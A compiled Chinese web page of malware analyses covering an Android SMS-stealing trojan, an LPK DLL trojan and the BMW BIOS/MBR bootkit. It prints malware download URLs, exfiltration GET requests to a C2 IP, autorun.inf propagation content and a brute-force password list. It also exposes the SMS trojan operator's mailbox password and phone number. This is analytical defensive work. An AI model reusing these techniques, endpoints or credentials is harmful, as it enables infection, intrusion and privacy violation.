61阅读

木马分析-一次短信木马追踪与分析

发布时间:2017-11-07 所属栏目:站长

一 : 一次短信木马追踪与分析

病毒特征

程序名:相册图片

包名:com.net.cn

程序大小:323K (331,603 字节)

手机硬件:MI3/中国移动

安全软件:LBE安全大师/Zjdroid
hook插件

分析过程1. 打开即发送短信/邮件

程序安装完成还未打开,LBE安全大师即检测其为病毒,并分析出具体的危害,在主界面上弹出明显的提示,如下图所示:

短信跟踪 一次短信木马追踪与分析

根据LBE安全大师提示的具体危害,反编译病毒样本,可以很明显的看到,它肆意申请了好多敏感的系统权限,如下图所示:

短信跟踪 一次短信木马追踪与分析

刚刚打开程序,就会发现LBE安全法师提示的其静默发送短信的通知,提示里面具体的显示了收件人号码和短信内容,短信内容为:”6-”+手机IMEI。如下图:

短信跟踪 一次短信木马追踪与分析

分析一下该程序的主Acitivity,首先看下OnCreate()方法:

短信跟踪 一次短信木马追踪与分析

收件人的手机号码在Consesdrqwe31ants类的pnoneNumber字符段中:

短信跟踪 一次短信木马追踪与分析

可见这些信息都是加密储存在so里面,不过通过简单的静态注入,也是很容易获取到明文的账号、密码和收件人手机号。如下:

短信跟踪 一次短信木马追踪与分析

拿到账号密码以后,可以登录163邮箱试试:

短信跟踪 一次短信木马追踪与分析

邮件账号已经被毕,其实发送到邮箱里的也无非是本机手机号、设备号和短信内容:

短信跟踪 一次短信木马追踪与分析

发送短信的内容在Asseyfgsdw12ets类的getInstallFlag方法中,如下:

短信跟踪 一次短信木马追踪与分析

2. 后台Service获取短信和联系人

短信跟踪 一次短信木马追踪与分析短信跟踪 一次短信木马追踪与分析

短信跟踪 一次短信木马追踪与分析

短信跟踪 一次短信木马追踪与分析

3. 激活设备管理器

用户打开样本病毒的第一个界面就是要求用户选择“激活设备管理器”,如下图所示:

短信跟踪 一次短信木马追踪与分析

当用户激活设备管理器后,该程序会在setting设备管理器列表隐藏,应用程序激活成设备管理器后,可以实现锁屏、擦除用户数据等功能,并且无法使用常规的卸载方式对其卸载。

Android在实现设备管理器时,需要再AndroidManifest.xml中注册一个广播接收者,代码如下:短信跟踪 一次短信木马追踪与分析

对应的方法为在主Acitivity:ClientActivity中:

短信跟踪 一次短信木马追踪与分析

当用户点击“激活”以后,就会弹出一个误导式的Dialog如下图:

短信跟踪 一次短信木马追踪与分析

点击确定之后,返回桌面,发现程序不见了,让用户以为是手机与软件不兼容,软件自卸了。其实它已经在后台默默开启了监控模式,

4. 开机启动权限

短信跟踪 一次短信木马追踪与分析

5. Log日志暴露监控行为

短信跟踪 一次短信木马追踪与分析

短信跟踪 一次短信木马追踪与分析

短信跟踪 一次短信木马追踪与分析

Log打印的地址在:

短信跟踪 一次短信木马追踪与分析

总结、查杀方式

这款应用通过用户激活设备管理器,打开一个后台Services窃取用户的设备信息、短信、通话记录、联系人等隐私,通过短信、邮件的形式发送出来,从而获取大量的数据。已知收件人号码为:18317050340;邮箱地址:sha13049367853@vip.163.com,密码:qq123123。稍稍人肉了一下:

短信跟踪 一次短信木马追踪与分析

由于程序本身过不了安全软件的识别,所以查杀方式就直接用安全软件就可查杀卸载掉。

二 : LPK小马分析

现在的木马一般都是加了vmp,很难再有这么一个老实的木马了,里面几乎一句多于的代码也木有。。。 非常适合我等小菜入门理解病毒、木马的行为
功能1:将自身文件复制保存(在所有的exe文件目录下释放lpk.dll)

lpk LPK小马分析
lpk LPK小马分析

功能2:启动目标进程

lpk LPK小马分析
lpk LPK小马分析
lpk LPK小马分析

查找目标进程如下:lpk LPK小马分析

功能3:释放自身的资源,然后运行

lpk LPK小马分析
lpk LPK小马分析

扩展:小马王镜头分析 / 小马过河课文分析 / 小马宝莉

三 : BMW木马样本分析

摘要[www.61k.com]

2011年底和某Hunter的谈话涉及到当时新检测到的病毒BMW,于是有了这篇分析报告.今天打开该目录时,卡巴又报发现病毒,又看到了这片文章.

曾经想象病毒侵入BIOS的危害,果然就出现了BMW,不过幸亏BMW只是用BIOS工具加入了个模块,而不是对BIOS的代码进行更深层次的修改.很久以前,就认为病毒侵入控制系统固件会有更大的社会危害,而修改重烧工业自动化系统的PLC控制器固件的病毒已经见诸报端.

正文

木马包含bios.exe和bmw.exe两个文件,前者负责感染bios和mbr,后者用于可执行文件感染,下载木马等。

一、BIOS感染文件

主要包括:

bios.exe--是BIOS感染主文件.

Flash.dll--用于装载sys文件.

bios.sys--是BIOS驱动服务文件,用于访问BIOS.

my.sys—一个文件驱动hook实现文件.

hook.bin--是BIOS文件和MBRex文件.(MBRex含在BIOS中,便于直接感染)

hook7k.bin---是hook.bin 中的7k内容,由MBRex注入到winlogon/WinInit.

winlogon/WinInit:下载calc.exe并执行.以fileprt服务装载my.sys,原理同使用beep.sys装载bios.sys.

1.1 bios.exe分析

1首先XOR 98h解码代码段中0x1000-0x1500的部分,解出代码段;XOR 89h解码出数据段部分;

2通过进程枚举,如果检测到瑞星或金山杀毒,则弹对话框,并对IME做hook,在用户按键时,执行3;如果没有发现瑞星和金山,直接执行第3步;

3解析参数和检测windows版本,参数主要是-w,-d,-u,其中-u是修复系统,-w和-d不明朗;一般情况下是继续执行感染系统;

4安装BIOS驱动,从资源中抽取出bios.sys,放入系统drivers文件夹;

然后会根据情况采用三种方式来安装BIOS驱动(\\.\bios设备):

A使用\\.\MyDeviceDriver(注:不是My.sys安装上的,是另一个RootKit)DLL注入技术,将Flash.dll依次注入到services.exe 和Explorer.exe来测试是否安装\\.\bios成功;

B如果A安装不成功,针对有瑞星或KV或WIN7或WIN2008R2版本,则直接LoadLibrary Flash.dll进行bios设备安装;

C大多数情况下,停止beep服务,使用bios.sys代替beep.sys,然后启动beep服务的方式来加载bios驱动安装bios设备,然后使用备份恢复beep.sys文件;

5然后会从资源中释放出过滤驱动My.sys;

6 DeviceIoControl(BIOS, 80102188h,..)来检测是否是Award BIOS,如果是,则DeviceIoControl(BIOS, 80102180h,..)备份当前BIOS为”c:\bios.bin”,打开文件,搜索“hookrom”(hook.bin的内容)来检查当前BIOS是否已经感染,如果没有感染,则从资源中释放出cbrom.exe(Award BIOS工具)和hook.rom(BIOS Patch,含MBR和Winlogon Patch),使用cbrom.exe c:\bios.bin /isa hook.rom将hook.rom作为ISA扩展BIOS添加进BIOS固件(另一个cbrom.exe c:\bios.bin /isa release为卸载扩展BIOS模块),然后使用DeviceIoControl(BIOS, 80102184h,..)将BIOS固件写入Flash中。

如果不是Award BIOS,则使用hook.rom中MBR直接替换原MBR。具体是,读取hook.rom,空过前面0x5D字节(BIOS部分)到MBR代码部分,复制MBRex到局部缓冲区(0x1C00字节,0x0E扇区);打开\\\\.\\PHYSICALDRIVE0且调整权限,读取MBR扇区到局部缓冲0x0E00处,检查是否感染(“int1” signature),若没有感染,则使用[0x01F8]值初始化[0x0226](是DayCounter),用0x0F00处0x80字节(从磁盘上读出的MBR部分)覆盖到0x0100处,主要是保存硬盘分区表。然后,将局部缓冲区14个扇区写入磁盘。

至此感染完毕。至于-u恢复,则是相反过程恢复回去。

1.2 flash.dll分析

用于以服务形式加载BIOS.sys, 主要功能在是DllMain中,其余代码是heap实现选择。

DLL_PROCESS_ATTACH DllLoad实现中,通过打开\\.\bios检测是否有Bios驱动,若没有,OpenSCManager =>> CreateService(bios) =>> StartService(bios);

DLL_PROCESS_DETACH的DllUnload实现中,OpenSCManager =>> ControlService (bios, STOP) =>> DeleteService(bios)

1.3 bios.sys分析

BIOS驱动文件,服务形式,安装\\.\bios设备,用于Ring0访问BIOS。

DriverEntry->DriverEntryImpl =>> IoCreateDevice("\\Device\\Bios")

主要是DriverIoControl,IOCTL_CODE有三个:

80102180h --- BackupBIOS

80102184h --- BurnBIOS

80102188h --- CheckBIOS

CheckBIOS流程:

使用MmMapIoSpace map BIOS物理地址[0x0F0000+0x10000] to liner space,然后搜索字符串“$@AWDFLASH”确定是否Award BIOS;找到后,在其后0x2A处,找SMI_PORT保存;然后通过 “_MS_”和“IMD_”辅助找到BIOS_SIZE并保存。

BackupBIOS流程:

MmMapIoSpace map BIOS物理地址[0x0F0000+BIOS_SIZE] to liner space =>> ZwCreateFile(\\DosDevices\\C:\\bios.bin) =>> ZwWriteFile。

BurnBIOS流程:

ZwCreateFile(\\DosDevices\\C:\\bios.bin) =>> ZwReadFile到ExAllocatePoolWithTag分配的缓冲区中;擦除Flash,将缓冲区中内容编程到Flash中;释放缓冲,关闭文件。

EraseFlash流程:

首先,写"$SMI"到EBP寄存器,然后OUT 0x29到SMI_PORT(是扩展端口),适当延时(应当延时相对比较长时间?),检测EBP是否TOGGLE为“SMI$”,若是,擦除成功。

ProgramFlash流程:

分页,每次编程16字节;依次编程;use page auto increament。

页编程流程:

首先,写"$SMI"到EBP寄存器,然后OUT 0x2F到SMI_PORT(是扩展端口),适当延时,检测EBP是否TOGGLE为“SMI$”,若是,页编程成功。

1.4 my.sys分析

IoCreateDevice(\\Device\\hide)钩到\\Device\\Harddisk0\\DR0的驱动disk.sys,对READ、WRITE、DEVICEIOCONTROL的DISPTACH进行HOOK,阻止MBRex扇区部分被读取和修改。在WINLOGON的感染代码里my.sys以fileprt服务的名义被加载。

DriverReadHook:

扩展:无盘系统 木马样本 / 木马样本 / 木马样本下载

判断如果是读前63个扇区,则设置完成例程DriverReadCompletionRoutine,若不是,调用原读例程正常读;

DriverReadCompletionRoutine会根据读模式,找到相关缓冲区,清零,使这样无法读取MBRex(14扇区)所在的扇区。

DriverWriteHook:

根据写模式,得到相关缓冲区,如果是写前14扇区,则需要偏移0x100处的FBFBECECFCFCEBEBh的Signature作为口令(MBR中0x100处即为这些数值)可以调用原写例程写入;否则IofCompleteRequest with STATUS_SUCCESS;若是15-63扇区,直接IofCompleteRequest with STATUS_SUCCESS;其余扇区,调用原写例程正常写;

DriverIoControlHook:

对于IOCTL_DISK_GET_DRIVE_LAYOUT_EX、IOCTL_STORAGE_GET_MEDIA_TYPES_EX、IOCTL_DISK_GET_DRIVE_GEOMETRY_EX直接IofCompleteRequest with STATUS_UNSUCCESSFUL;其余IOCTL CODE正常。

1.5 hook.bin分析

第一字0xAA55表示该BIOS模块是Expansion BIOS模块;第三字节(偏移0x02)是扩展BIOS模块的大小,其后是指令jmp bios_start;

isa_main在0x1C5D处,bios_start在0x5D处,中间0x1C00字节是MBRex(含Winlogon感染代码)。

第一条指令将0x5D弹出到ax中,然后用0x5D-0x1C5C内容覆盖0x7C00[+0x1C00](BIOS load MBR的地址),这样BIOS初始化完毕后,将控制权交给MBR时,被修改的MBRex取得控制权。

然后使用扇区扩展读BIOS中断,读取MBR(磁盘第一扇区),判断是否感染('1tni'标记),若没有被感染则拷贝后0x80字节(含硬盘分区表)到0x0100[+0x80],使用扇区扩展写BIOS中断写14个扇区完成感染。

最后,retf指令返回,return to the caller in bios calling rel_0003?

1.6 hook7k.bin即MBRex.bin分析

首先,把自身MBR部分(第零扇区)拷贝到0x0600,然后跳转到0x061E;0x061E代码是读磁盘1-6扇区(zero-based)到0x7C00,然后跳转到0x7C00执行;

0x7C00(即第一扇区,0开始编号)处是一条相对跳转指令 jmp 0x7CA0;0x7CA0(ebr_strap)处代码把1-6扇区拷贝到0x0600处,然后跳转到0x06BF(ebr_main)处执行;

ebr_main首先会读CMOS获取日期,用于病毒运行天数计数;然后把7号扇区(即被感染计算机的原MBR)读取到0x4000缓冲区,从其中的分区表中找启动分区并找到启动分区的起始扇区(DBR),读取DBR到0x7C00;

根据BPB判断文件系统,如果是NTFS,从$MFT开始寻找Winlogon/WinInit,找到后判断是否感染('snnc' signature),如果没有感染,则设置感染标志'snnc'保存原entrypoint,拷贝8号扇区开始的Winlogon感染代码560字节到Winlogon被感染指令处;显示“Find It OK!”,然后跳转到0x4000处(原来好的MBR处)执行原MBR,完成原有的启动流程;

若是FAT32格式文件系统,根据FAT表找到Winlogon,找到后判断是否感染,保存原entrypoint,设置新EP为0x1C00(除去两扇区PE头,恰好是第8号扇区所在位置,文件中偏移0x1000),修正PE文件头;若簇小于8扇区,则首先写入文件头,然后读入第八扇区开始的6个扇区写入Winlogon;若簇大于8扇区,则将第8号扇区开始6个扇区直接覆盖Winlogon的第八扇区开始的6个扇区,然后一簇写回,完成Winlogon感染。然后将0x4000处原MBR拷贝到0x7C00处,跳转到原MBR执行启动。

注:Winlogon的.text段RVA=0x1000,PA=0x0400;文件头占两个扇区。0x1000+(0x1000-0x0400) = 0x1C00.

第0x0D号扇区(hook7k.bin最后一个扇区)还有一段代码,用途不明.SEH内容居多。

1.7 winlogon.exe分析

从hook7k.bin的第八扇区即偏移0x1000开始Patch到Winlogon,经过简单加密,自解密运行。

首先解出代码,然后加载库Urlmon.dll和Advapi32.dll,解析用到的函数地址;

创建线程,使用URLDownloadToFile下载http://xx.3515.info:806/test/91/calc.exe保存为c:\calc.exe,使用WinExec运行;

然后,OpenSCManager =>> CreateService(fileprt, my.sys, …) =>> StartService(fileprt)安装HRADDISK驱动的钩子,作用详见my.sys分析。

二、BMW.exe感染文件

Bmwexe采用aspack加壳,很容易脱去;

Upx0和upx1两个section,不是UPX壳,好像是调用的VM?通过静态分析函数调用关系,还是可以分析出顶层的函数主要有两个。

从start处分析,木马首先使用VirtualQueryEx和GetModuleHandle判断是运行在exe中还是dll中;然后分别调用了许多垃圾代码的入口,猜测以上两个顶层入口分别是运行在exe或dll中的入口,标号分别是RootFuncRunningInExe和RootFuncRunningInDll。使用硬件断点可以验证猜测。

RootFuncRunningInExe流程

这个函数主要是为ServiceDLL服务代码准备运行条件,运行ServiceDLLs;使用命名管道和Event与ServiceDLL通讯。

1首先VirtualAlloc一个4000000h的大缓冲,然后用nop.nop.nop加最后一条jmp rel32(下一条指令)填充,执行(原因不明朗,难道是为了延时?),然后VirtualFree返回。

2判断自己是否运行在可移动设备中,若是,则创建进程执行"explorer /n,X:\"打开磁盘,可以运行其中的uninstall.exe病毒,等待进程结束返回;

3 字XOR解码PIPE名,格式是\\.\pipe\{________guid_________},句柄记为hPipe;创建Event Global\{6581F932-EEC4-422e-A5FD-0F78BB508683},句柄记为hEvent8683;打开管道文件(OPEN_EXISTING),如果是系统启动之内60s,会不停尝试打开,第一次运行,肯定是无法打开的;

4 创建文件“C:\\Documents and Settings\\Infotmp.txt”或“C:\\Users\\Infotmp.txt”(Vista以上版本);

5 枚举进程比较文件名,检测自身是否运行在Explorer或者以下杀软进程中:

RavMonD.exe,360tray.exe,MPSVC.exe,KSafeTray.exe,RsAgent.exe,avp.exe,Explorer.exe

若存在这些进程中,则得到进程ID;如果是存在RavMonD.exe中,为了不被用户发觉,会启动RsAgent.exe小狮子进程;使用随机数和进程号产生"%.8X.tmp"格式字符串(进程号在低四位),作为system32下的文件名,使用随机数"%.8X.log"格式串,作为拷贝屏幕JPG图片文件名,在TempPath目录下。

扩展:无盘系统 木马样本 / 木马样本 / 木马样本下载

6 将GetVersionEx得到的VersionInformation、自身EXE是否杀软BITMAP、是否拷屏、自身EXE文件名、自身进程ID、进程ID字符串、JPEG文件名、RavMonD进程ID等信息写到文件Infotmp.txt中,供DLL运行时读取;

7 当exe文件不是在可移动存储上时,拷贝屏幕,使用GdiPlus编码为Jpeg图片流,并保存为“$TEMP\%.8X.log”文件;

8 创建Event Global\{49DC5E00-FB89-41c2-8E1E-852B0B0C6B00},句柄记为hEvent6B00,将自身内容读到缓冲区中,修正PE Hdr标志位为DLL格式,获取sfc_os.dll中SetSfcFileException函数指针,用于暂停系统文件保护以替换文件;针对解码出的下列服务和对应文件(未列出全部)执行OpenService,QueryService,StopService,用缓冲区内容覆盖文件内容,StartService,WaitForSingleObject(hEvent6B00)等待替换后的服务(该服务会SetEvent(hEvent6B00)),然后CloseServiceHandle。

"AppMgmt","BITS","FAstuserSwitchingCompatibilty","WdmmPmSN","XmlProv",……

"appmgmts.dll","Qmgr.dll","shsvcs.dll","mspmsnsv.dll","XmlProv.dll",……

如果上述解码没有解出任何字符串,则使用HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost注册表项netsvcs键的键值(服务名列表) ,循环执行以下操作CreateService("System32\\Svchost.exe -k netsvcs"),用“服务名.dll”形成文件名(如BITS服务,则为BITS.dll),然后将该服务的注册表项的ServiceDll设置为相应的dll文件名,将缓冲区内容写入文件,然后StartService同样等待WaitForSingleObject(hEvent6B00)完成或超时。

关闭相关句柄,返回。

第一次运行实例执行完毕。

运行在DLL中时,分为由Svchost -k service启动的服务和普通DLL运行的形式。

由Svchost启动的Service DLL的执行流程

这个是病毒的运行主体部分。

1首先创建并设置Event hEvent6B00通知第一次运行实例,服务已经运行;从文件Infotmp.txt中读取信息,并删除文件;如果文件不存在或打开失败,则重新获取相关信息;尝试删除创建本服务DLL的原实例EXE程序文件200次(因为EXE会启动多个DLL,每个都会尝试删除);

2 获取自身Module文件名,解码出本身的服务名;加载Psapi.dll并解析出GetModuleInformation的地址,调用得到MODULEINFO.SizeOfImage;

3 解码出杀软程序名字符串列表;打开\\.\poxity设备准备通信,如果打开成功,根据情况恢复系统、卸载驱动,然后重新装载驱动(有个DOWRD值为2时,由Exe生成的Infotmp.txt拷贝过来,具体意图还不清楚,可能是某些原因不匹配)或者使用原驱动;如果打开设备失败,则装载服务安装设备。具体是使用32bit随机数生成nnnnnnnn字符串做为服务名,system32\nnnnnnnn.sys做文件名,从自身释放出类型为“FILE”、资源名为65h的资源并解码写入到nnnnnnnn.sys文件,然后创建并启动服务;尝试20次打开\\.\poxity设备;

4 创建线程ThreadHttpSendJpegFile将图片编码到流中向服务器传送拷屏JPEG图片。

GET /passport.asp?ID=1&fn=1_00-0C-29-XX-XX-XX&Var=00000001 HTTP/1.1

Accept: */*Accept-Language: zh-cn

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; WindowsNT 5.1; SV1)

Host: 204.45.123.173

Connection:Keep-Alive

5 然后传入驱动使用的一些函数地址和变量,并得到内核KiServiceTable的地址和NumberOfService。具体是,通过ntdll!ZwQuerySystemInformation遍历系统加载模块列表,其中第一个模块就是ntoskrnl,得到其文件名和在内核的加载基址;然后在用户态loadlibrary(ntoskrnl_name),获取KeInsertQueueApc、KeInitializeApc、MmFlushImageSection、IoGetAttachedDevice、PsTerminateSystemThread、MmGetSystemRoutineAddress函数地址,使用PsTerminateSystemThread函数地址和特征指令搜索PspTerminateThreadByPointer VA,使用KeInsertQueueApc函数地址和特征指令搜索KiInsertQueueAPC VA;然后保存这些函数的前0x0C字节指令,根据函数用户态加载VA和内核台基址得到在内核的地址;得到不同版本平台的ThreadListHeadOffsetInEPROCESS和ThreadListEntryOffsetInETHREAD;将这些信息通过IOCTL=0x222407传递给驱动,驱动同时会给出内核KiServiceTable的地址和NumberOfService(注:这两个参数直接通过InputBuffer传出,和poxity驱动通信缓冲区并不严格遵循常见输入输出缓冲区模式)。驱动会使用MmGetSystemRoutineAddress得到用到的函数地址,使用PsTerminateSystemThread、ThreadListHeadOffsetInEPROCESS和ThreadListEntryOffsetInETHREAD结束线程;传入的其余几个函数会被inline hook。

6 在用户态下获取KiServiceTable表格,恢复被inline hook的函数。

具体做法是,使用驱动返回的内核基址和KiServiceTable在内核中的Addr,得到偏移KiServiceTableOffset;看是否则合理的范围内,此处源码有点bug,jb应该为jl,即合理地址范围转拷贝代码;

若地址范围不合理,则Ring3下,得到加载后的ntkrnlpa.exe的KeServiceDescriptorTable的地址,转换成KeServiceDescriptorTableVA(VA ImageBase based,为什么加载后不是以LoadedAddr重定位而仍是以ImageBase?),在INIT section代码空间中搜索KeServiceDescriptorTableVA以定位指令

MOV ds:_KeServiceDescriptorTable, offset _KiServiceTable,得到KiServiceTable的ImageBase based地址,KiServiceTableVA-ImageBase得到偏移KiServiceTableOffset。此处代码也有bug,搜索范围不对导致搜索不到,修正为直接搜索INIT section范围即可。

得到KiServiceTableOffset后,使用Module Loaded基址定位到KiServiceTable loaded VA,拷贝整个KiServiceTable保存,然后使用内核基址修正每个Entry,使用IOCTL=0x22240B恢复SSDT;

7 针对杀软,通过进程枚举,得到AV ProcId,向驱动发送IOCTL=0x222418,驱动枚举目标进程所有线程,使用PspTerminateThreadByPointer结束线程;

8 向驱动发送IOCTL=0x222424和本进程ID,阻止线程创建和中止通知,本实现只阻止线程中止通知。

扩展:无盘系统 木马样本 / 木马样本 / 木马样本下载

9 IFEO劫持杀软。具体是,针对解码出的列表中的每个AV注册表项HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IFEO\AV_Name,"Debugger"键值都设置为"ntsd -d";是通过IOCTL=0x22241C实现的。

10 Hook tcpip.sys

用途是阻止某些域名的解析,详细参见poxity IOCTL=0x22242C。

11 使用IOCTL=0x22240F隐藏本身DLL module;使用IOCTL=0x22241C设置本身服务HKLM\SYSTEM\CurrentControlSet\Services\ServiceName “Start”启动方式为2(2为自动,3为手动,4为禁止),IOCTL详见poxity分析;如果,poxity不存在,则直接调用SHSetValue设置启动模式为自动。调用SHSetValue设置HKLM\SYSTEM\CurrentControlSet\Control\Windows键值"NoPopUpsOnBoot"为1,阻止服务启动出错时弹出系统错误报告。发送IOCTL=0x222420给驱动,隐藏服务的注册表项。

12 发送IOCTL=0x222413、文件系统设备名和自身文件名给驱动,由驱动hook文件系统驱动,隐藏DLL文件;发送IOCTL=0x222417由驱动返回驱动文件名;发送IOCTL=0x222413、文件系统设备名和驱动文件名给驱动,隐藏驱动文件。

13 然后创建三个线程,标记为thread1,thread2,thread3.

Threa1--DelSafeBootMinNetAndRepeatGenSelfnDrv

首先删除注册表项

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal

HKLM\SYSTEM\CurrentControlSet\ Control\ SafeBoot\Network

然后发送IOCTL=0x222430到驱动, hookFileSystemDriver的MajorFunction[IRP_MJ_CARETE]和MajorFunction[IRP_MJ_DIRECTORY_CONTROL]两个Dispatch,作用详见poxity分析。

从驱动得到驱动文件名,读取驱动文件到缓冲区DriverSysBuffer;把模块自身读到缓冲区SelfFileBuffer;循环每隔1s覆盖一次模块自身的内容,驱动文件由于原程序文件名是空,没有被覆盖,好像是bug。

Thread2---TerminateIfWorkHasDoneByOtherOrSleepFor1

使用命名管道\\.\pipe\{________guid_________}和EXE程序通信,负责命名管道的创建,系统中只允许一个该命名管道实例。

首先使用CreateFile+OPEN_EXISTING测试管道是否存在,如果CreateFile成功GetlastError返回ERROR_SUCCESS,说明已有ServiceDLL运行形式存在,命名管道已经创建,而且EXE程序还没有打开管道,则让第一个ServiceDLL运行,线程退出;

如果CreateFile失败且GetLastError返回ERROR_PIPE_BUSY(0xE7)说明已有ServiceDLL运行形式存在,命名管道已经存在,而且EXE中代码正在使用管道,则线程退出;

如果CreateFile失败,GetLastError返回不是ERROR_SUCCESS或ERROR_PIPE_BUSY,最有可能是ERROR_FILE_NOT_EXISTING,则标明是第一个ServiceDLL执行,则使用CreateNamedPipeA创建命名管道,只允许一个实例;然后会进入一个循环,使用管道接收来自EXE执行的0x10字节命令,直至接收到退出命令,则准备退出。

所以命名管道的主要作用是保证一个ServiceDLL实例在运行,结束掉其余ServiceDLL实例中的线程;接收到EXE的退出控制命令后,结束本进程内线程。

结束线程前的检测并做恢复工作如下:

A. 发送IOCTL=0x222428通知驱动恢复系统;

B. 如果模块名和服务名相同,则删除HKLM\SYSTEM\CurrentControlSet\Services\ServiceName键值;如果不同,则将其下“Start”子键设置为禁止(4);

C. 枚举本进程内的所有线程,TerminateThread,使用0xE1F27272 NormalContext阻止系统通知(检查A中是否已经恢复,还能阻止吗?);

D. 释放分配的本模块内容、用于Exe的模块内容、驱动内容三个缓冲区;

E. 结束线程。注其堆栈内容和调用:

UnPackEr:00403EB9 push 0

UnPackEr:00403EBB push 0

UnPackEr:00403EBD lea eax, lpMultiByteStrFileSelf

UnPackEr:00403EC3 push eax

UnPackEr:00403EC4 push ds:ExitThread

UnPackEr:00403ECA push [ebp+hNamedPipe]

UnPackEr:00403ED0 push ds:DeleteFileA

UnPackEr:00403ED6 push ds:CloseHandle

UnPackEr:00403EDC retn

CloseHandle(hNamedPipe);

DeleteFileA(lpMultiByteStrFileSelf);

ExitThread(0);

Thread3---CreateMainWorkThreads

作用是创建一系列线程; www.2cto.com

首先调用WriteLocalhostOverrideHostFile将'127.0.0.1 localhost\r\n'只一行写入到hosts文件。

创建线程RecurseLogicalDriveToInfectNlsArchive

针对每个逻辑驱动器创建一个线程,递归、深度优先遍历每个驱动器上的文件,此过程中没有使能exe文件感染,只是将搜索到的非系统Temp目录下的rar包文件名以链表保存起来,该链表操作代码使用Event互斥,保证链表线程安全;

WaitForMultipleObjects各个遍历线程结束后,使能exe文件感染,创建线程,主要是使用RAR文件名链表解压大小在2800h~0A00000h之间的文件到系统temp目录,感染其中的exe文件,重新压缩替换原来文件。

会将一些目录排除在搜索和感染范围,如“WINDOWS”,“WINNT”,“Documents and Settings”,“System Volume Information”,……,列表不尽详述。

该线程首先读取c_312747.nls文件内容,其内容是6个字节一组的记录,每一个记录对应一个RAR文件;前四个字节是rar文件名的HASH值,后两个字节用于和全局变量unk_413D28两个字节作比较,结构如下

Struct

{

DWORD dwRarNameHash;

WORD wUknown;

};

如果有新RAR文件出现,则找不到对应dwRarNameHash,解压感染后在文件末尾增加该记录;如果dwRarNameHash相同且wUknown>unk_413D28处的字,则解压感染后用新的记录替换掉原来记录;dwRarNameHash相同且wUknown<=unk_413D28处的字,则不解压感染文件。wUknown类似版本号。

扩展:无盘系统 木马样本 / 木马样本 / 木马样本下载

文件感染部分分为一小段0x02E1字节的跳转代码和本身二进制文件组成,根据PE文件计算各参数,填充0x02E1字节代码中运行时填充字节,修正原entrypoint,将0x02E1和本身内容填充到原exe文件末尾,完成感染。

感染前,有一调用判断,进入垃圾代码返回,不知用途。

创建线程MakeDriveAutorunUnstallForRemovableDevice,主要功能是每个1s检测系统逻辑盘;在可移动逻辑盘上创建autorun.inf文件和uninstall.exe文件,双击盘符自动运行,autorun.inf内容大致如下:

[autorun]

OPEN=recycle.{645FF040-5081-101B-9F08-00AA002F954E}\uninstall.exe

shell\open=打开(&O)

shell\open\Command=recycle.{645FF040-5081-101B-9F08-00AA002F954E}\uninstall.exe Show

shell\open\Default=1

shell\explore=资垂芾砥?&X) =>应该是资源管理器(&X)

shell\explore\Command=recycle.{645FF040-5081-101B-9F08-00AA002F954E}\uninstall.exe Show

autorun.inf和recycle.{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}\文件夹和uninstall.exe都设置系统、隐藏、只读属性。

uninstall.exe是木马自身可执行文件副本。

然后在系统重启后需要等待1小时继续创建线程。

创建线程GetIpAddrOfwwwxxxxxinfo

每隔一分钟解析一个www.%s.info域名的外网地址。

创建两个线程EvilFunctionToolKit(5)EvilFunctionToolKit(1),分别以img/up.jpg和****为url从HTTP服务器下载两个exe可执行文件,估计是两个木马,创建进程执行。

创建线程IEOpenURLMacHtm使用IE打开URL ?1。网页已经无法打开。

创建线程InfectTheSubNetMachines(1),攻击内网子网内的计算机。首先使用www.baidu.com测试网络连接,然后使用socket(AF_INET,SOCK_RAW,IPPROTO_ICMP)ICMP探测一个范围内(如"xxx.xx.123.170-174")的主机是否可达,保存此主机用于下载http://xxx.xxx.xxx.xxx:8080/msdownload/update/v5/setup.exe。然后WNet枚举网络资源,用建立desktop.txt尝试是否有写权限,然后感染该文件夹,形成rar包记录。

然后针对子网内计算机进行遍历,若主机可达,拷贝自身exe可执行文件到\\pipe\ipc$或\\pipe\C$,设置AT定时执行。WNetAddConnection2A(\\pipe\ipc$或\\pipe\C$)时,会使用下列用户名和密码列表进行猜测:

User:Administrator.Guest.admin.Root

Password: 1234.password.6969.harley.123456.golf.pussy.mustang.1111.shadow.1313.fish.5150.7777.qwerty.baseball.2112.letmein.………

然后使用MS08-067命名管道漏洞进行攻击。首先用\\xxx.xxx.xxx.xxx\pipe\browser试探,TransactNamedPipe ShellCode进行攻击。

上述过程,每隔10分钟循环一次。

创建线程InfectTheSubNetMachines(2),遍历外网子网计算机地址,使用MS08-067命名管道漏洞进行攻击。

创建线程EvilFunctionToolKit(3),从服务器列表选择可用的使用相对URL dl/1.rar下载一个木马文件数据库,解密数据。根据本地的一个要运行的木马名称列表,从该文件数据库中抽取出木马,存为文件运行。

创建线程HttpSendMACetcInformation,把系统MAC地址传送出去,以HTTP GET的方法实现,内容为

"GET /ttt/tongji.asp?ver=101010&tgid=1&address=00-0C-29-25-A5-BB&flag=17b342d996799e26fd44a9bb4f81cd51&alexa=0&List=NULL HTTP/1.1",CR,LF,"Accept: */*",CR,LF,"Accept-Language: zh-cn",CR,LF,"User-Agent: Mozilla/4.0 (compatible; MSIE 6.)

创建线程AttackTargetBlood,使用EvilFunctionToolKit(4)从服务器msdownload/update/wuredirtetcpa1.txt下载的文件控制本机向目标机发动网络洪水攻击。

该文件解密后格式(复制不上,此处从略).

前三个DWORD用于解密。

首先,创建NumOfHttpSvrRecord个线程,使用HTTPSvrRecord参数从每个服务器上下载文件,删除文件;该文件并没有使用。

Typedef struct _tagHTTPSvrRecord

{

} HTTPSvrRecord;

然后,使用IOCTL=0x222434命令驱动HookNdis(只对XP和2k3有效),然后攻击目标机:

A.创建大量socket(AF_INET, SOCK_STREAM, IPROTO_TCP),无论NDIS是否被Hooked,因为不是SOCK_RAWIP,IP_HDR[PROTO]字段不为0,所以NdisMSendHandlerHook不会起作用;connect时会建立大量的正常的TCP连接,然后send发送一个字,形成大量小包。该过程使用下面InnocenceBloodControlBlock结构控制。

Typedef struct _tagInnocenceBloodControlBlock

{

} InnocenceBloodControlBlock;

